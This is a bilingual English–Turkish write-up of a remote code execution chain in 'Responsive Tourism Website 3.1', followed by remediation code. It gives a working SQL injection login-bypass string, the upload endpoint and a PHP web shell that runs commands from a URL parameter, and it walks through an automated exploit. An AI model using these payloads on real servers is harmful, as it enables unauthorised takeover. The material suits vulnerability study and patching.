Responsive Tourism Website 3.1 - Remote Code Execution (Unauthenticated)

Exploit / Project Details

Python Mon Jun 21 2021

Zero-Day Discovery & Exploit Development: Responsive Tourism CMS

Detailed Write-up

Responsive Tourism Website 3.1 - Remote Code Execution (RCE) Analysis & Writeup

[EN] English Version

Introduction

In this writeup, I will detail the process of discovering and exploiting a critical Remote Code Execution (RCE) vulnerability in the "Responsive Tourism Website 3.1". As a security researcher (or "black hat" in this scenario), my goal was to gain full control over the server. The attack chain involves two distinct vulnerabilities: an SQL Injection to bypass authentication and an Unrestricted File Upload to execute arbitrary code.

Vulnerability Analysis

Phase 1: Authentication Bypass (SQL Injection)

My first target was the administrative panel located at /admin/login.php. I attempted standard SQL injection payloads on the login form. I discovered that the application was vulnerable to SQL injection in the username field.

By analyzing the source code in classes/Login.php, I found the root cause:

// Vulnerable Code in classes/Login.php
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

The application directly concatenates the user input $username into the SQL query string without any sanitization or parameterization. This allows an attacker to manipulate the query logic.

Payload: admin' or '1'='1'#

When this payload is injected, the query becomes:

SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

The # character comments out the rest of the query (the password check), and since 1=1 is always true, the database returns the first user record (the administrator), logging me in without a password.

Phase 2: Remote Code Execution (Unrestricted File Upload)

After gaining access to the admin panel, I looked for places where I could upload files. I found the "User Settings" page (admin/?page=user), which allows users to update their profile, including uploading an avatar image.

I analyzed the backend code handling this request in classes/Users.php:

// Vulnerable Code in classes/Users.php
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
    $fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
    $move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
    // ...
}

The vulnerability here is glaring:

  1. No Extension Validation: The code accepts the filename ($_FILES['img']['name']) directly from the user. It does not check if the extension is .jpg, .png, or .php.
  2. No Content Check: It does not verify the MIME type or the actual content of the file.
  3. Predictable Path: The file is saved to the uploads/ directory with a timestamp prefix, but the original extension is preserved.

This means I can upload a file named shell.php, and the server will save it as a PHP file. When I access this file via the browser, the server will execute the malicious PHP code inside it.

Exploit Development

I wrote a Python script (exploit.py) to automate this entire attack chain. Here is how I constructed the exploit:

  1. Session Setup: I used requests.Session() to maintain cookies across requests.

  2. Bypass Login: I sent a POST request to classes/Login.php?f=login with the SQL injection payload.

  3. Information Gathering: Before uploading the shell, I scraped the current user's details (ID, Firstname, Lastname, Username) from admin/?page=user. This is crucial because the save_users function updates all fields. If I only sent the file, I might corrupt the admin's profile or cause a database error. I wanted to be stealthy and keep the profile data intact.

  4. Shell Upload: I constructed a multipart/form-data POST request to classes/Users.php?f=save.

    • I included the scraped user data.
    • I added the file field img.
    • Filename: I generated a random filename ending in .php (e.g., xYz_Tagoletta.php).
    • Payload: <?php if(isset($_GET['cmd'])){ echo '<b>Tagoletta</b><pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
  5. Execution: After the upload, I parsed the profile page again to find the new src attribute of the avatar image. This gave me the exact path on the server. Finally, I printed the URL with ?cmd=whoami appended to prove code execution.

Remediation

To secure this application, both vulnerabilities must be patched immediately.

1. Fixing SQL Injection:
Use Prepared Statements instead of string concatenation. This ensures that user input is treated as data, not executable code.

Vulnerable:

$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Secure:

$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();

2. Fixing File Upload:
Validate the file extension and rename the file securely. Never use the user-provided filename/extension.

Secure Implementation Logic:

$allowed = array('jpg', 'jpeg', 'png', 'gif');
$filename = $_FILES['img']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);

if(!in_array(strtolower($ext), $allowed)) {
    // Error: Invalid file type
    exit("Invalid file type");
}

// Generate a safe, random filename with the original extension (if allowed)
$fname = 'uploads/' . uniqid() . '.' . $ext;

[TR] Türkçe Versiyon

Giriş

Bu raporda, "Responsive Tourism Website 3.1" uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı (veya bu senaryoda bir "siyah şapkalı" hacker) olarak amacım sunucu üzerinde tam kontrol sağlamaktı. Saldırı zinciri iki farklı zafiyeti içeriyor: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.

Zafiyet Analizi

Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)

İlk hedefim /admin/login.php adresindeki yönetim paneliydi. Giriş formunda standart SQL enjeksiyon yüklerini denedim ve uygulamanın username alanında SQL enjeksiyonuna açık olduğunu keşfettim.

classes/Login.php dosyasındaki kaynak kodunu incelediğimde temel nedeni buldum:

// classes/Login.php içindeki Zafiyetli Kod
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Uygulama, kullanıcı girdisi olan $username değişkenini herhangi bir temizleme veya parametreleme yapmadan doğrudan SQL sorgusuna ekliyor. Bu, saldırganın sorgu mantığını değiştirmesine olanak tanır.

Kullanılan Yük (Payload): admin' or '1'='1'#

Bu yük enjekte edildiğinde sorgu şu hale gelir:

SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

# karakteri sorgunun geri kalanını (şifre kontrolünü) yorum satırı haline getirir ve 1=1 her zaman doğru olduğu için veritabanı ilk kullanıcı kaydını (yönetici) döndürür, böylece şifresiz giriş yapmış olurum.

Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)

Yönetim paneline erişim sağladıktan sonra dosya yükleyebileceğim yerleri aradım. Kullanıcıların profil resimlerini (avatar) güncelleyebildiği "Kullanıcı Ayarları" sayfasını (admin/?page=user) buldum.

Bu isteği işleyen classes/Users.php dosyasındaki arka uç kodunu inceledim:

// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
    $fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
    $move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
    // ...
}

Buradaki zafiyet çok açıktır:

  1. Uzantı Kontrolü Yok: Kod, dosya adını ($_FILES['img']['name']) doğrudan kullanıcıdan alır. Uzantının .jpg, .png veya .php olup olmadığını kontrol etmez.
  2. İçerik Kontrolü Yok: Dosyanın MIME türünü veya gerçek içeriğini doğrulamaz.
  3. Tahmin Edilebilir Yol: Dosya uploads/ dizinine bir zaman damgası önekiyle kaydedilir, ancak orijinal uzantı korunur.

Bu, shell.php adında bir dosya yükleyebileceğim ve sunucunun bunu bir PHP dosyası olarak kaydedeceği anlamına gelir. Bu dosyaya tarayıcı üzerinden eriştiğimde, sunucu içindeki kötü amaçlı PHP kodunu çalıştıracaktır.

Exploit Geliştirme

Tüm bu saldırı zincirini otomatize etmek için bir Python betiği (exploit.py) yazdım. İşte exploiti nasıl kurguladım:

  1. Oturum Kurulumu: İstekler arasında çerezleri korumak için requests.Session() kullandım.

  2. Giriş Atlatma: classes/Login.php?f=login adresine SQL enjeksiyon yükü ile bir POST isteği gönderdim.

  3. Bilgi Toplama: Shell'i yüklemeden önce, admin/?page=user sayfasından mevcut kullanıcının bilgilerini (ID, Ad, Soyad, Kullanıcı Adı) çektim (scrape ettim). Bu çok önemliydi çünkü save_users fonksiyonu tüm alanları güncelliyor. Sadece dosyayı gönderseydim, admin profilini bozabilir veya veritabanı hatasına neden olabilirdim. Gizli kalmak ve profil verilerini korumak istedim.

  4. Shell Yükleme: classes/Users.php?f=save adresine bir multipart/form-data POST isteği oluşturdum.

    • Çektiğim kullanıcı verilerini ekledim.
    • img dosya alanını ekledim.
    • Dosya Adı: .php ile biten rastgele bir dosya adı oluşturdum (örn. xYz_Tagoletta.php).
    • Payload: <?php if(isset($_GET['cmd'])){ echo '<b>Tagoletta</b><pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
  5. Çalıştırma: Yüklemeden sonra, avatar resminin yeni src özniteliğini bulmak için profil sayfasını tekrar ayrıştırdım. Bu bana sunucudaki tam yolu verdi. Son olarak, kod yürütmeyi kanıtlamak için ?cmd=whoami eklenmiş URL'yi yazdırdım.

Çözüm ve Kapatma

Bu uygulamayı güvenli hale getirmek için her iki zafiyet de derhal kapatılmalıdır.

1. SQL Enjeksiyonunu Düzeltme:
Dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanın. Bu, kullanıcı girdisinin çalıştırılabilir kod olarak değil, veri olarak işlenmesini sağlar.

Zafiyetli:

$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Güvenli:

$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();

2. Dosya Yüklemeyi Düzeltme:
Dosya uzantısını doğrulayın ve dosyayı güvenli bir şekilde yeniden adlandırın. Asla kullanıcı tarafından sağlanan dosya adını/uzantısını kullanmayın.

Güvenli Uygulama Mantığı:

$allowed = array('jpg', 'jpeg', 'png', 'gif');
$filename = $_FILES['img']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);

if(!in_array(strtolower($ext), $allowed)) {
    // Hata: Geçersiz dosya türü
    exit("Geçersiz dosya türü");
}

// Orijinal uzantı (eğer izin veriliyorsa) ile güvenli, rastgele bir dosya adı oluşturun
$fname = 'uploads/' . uniqid() . '.' . $ext;
Source Code Explorer
/
Select a file
2024 © Tağmaç Han